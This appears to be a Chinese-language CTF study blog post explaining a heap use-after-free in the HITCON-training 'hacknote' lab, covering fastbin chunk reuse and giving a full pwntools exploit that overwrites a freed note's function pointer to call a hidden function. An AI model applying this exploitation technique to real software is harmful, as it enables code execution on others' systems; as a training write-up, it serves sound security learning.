1. 程式人生 > >堆溢位----Use After Free

堆溢位----Use After Free

不得不說有些被坑的感覺,Off-By-One也太難了,問了下大神,我覺得還是先把這個弄懂,那篇學習記錄我就先咕咕咕了

以下截圖來自CTFWIKI,感覺說的概念挺明確的

從這裡我深刻體會到了棧和堆的不同,以及堆的困難,沒有EIP給我直接控制了,都要靠自己除錯了,而且堆得結構複雜得多

看個例子,希望順利……咕咕咕怕了

HITCON-training 中的 lab 10 hacknote

3個功能,還行…………吧

在IDA裡看見了另外一個函式,要哭了,好久不見

那最後執行它就好了

開始找我們的Use After Free

我們觀察到del_note()函式中(一般性free肯定在刪除操作裡嘛)

在 刪除的時候,只進行了 free,而沒有設定為 NULL,存在 Use After Free 的情況

我們在之前可以看到沒個note獲得的資料大小是8位元組,再加上頭部的八位元組,一共16位元組,顯然是一個fastbin chunk

分析一下資料的八位元組分為哪兩部分,一個肯定是指標content,另一個是一個指標notelist

然後指標content在指向真正的內容content

顯然,我們建立note,並刪除後,那些note依然殘存在記憶體中,那我們再次新建一個note的時候,通過修改內容content,就可以修改殘存的note,等再次printf_note舊的note時候,就可以執行我們修改的內容了,這裡注意的是,我們建立的新的note會覆蓋前一箇舊的note,但是可改的部分是內容content,所以,需要兩個舊的note,有一箇舊的note需要作為指標content的跳板

exp

from pwn import *

cn =process("./hacknote")
magic_addr=0x08048986

cn.recvuntil(":")
cn.sendline("1")    #add
cn.recvuntil("Note size :")
cn.sendline("32")
cn.recvuntil("Content :")
cn.sendline("aaaa")

cn.recvuntil(":")
cn.sendline("1")    #add
cn.recvuntil("Note size :")
cn.sendline("32")
cn.recvuntil("Content :")
cn.sendline("bbbb")

cn.recvuntil(":")
cn.sendline("2")     #delete
cn.recvuntil(":")
cn.sendline("0")

cn.recvuntil(":")
cn.sendline("2")     #delete
cn.recvuntil(":")
cn.sendline("1")

cn.recvuntil(":")
cn.sendline("1")    #add
cn.recvuntil("Note size :")
cn.sendline("8")
cn.recvuntil("Content :")
cn.sendline(p32(magic_addr))

cn.recvuntil(":")
cn.sendline("3")     #print
cn.recvuntil("Index :")
cn.sendline("0")

cn.interactive()

為什麼內容content給的空間我這裡大一些呢,是為等建立新note時,給他的空間不是內容content,fastbin的選擇方式是就近,如果要是大小一樣,那這些快就放在一起了,跳轉不過去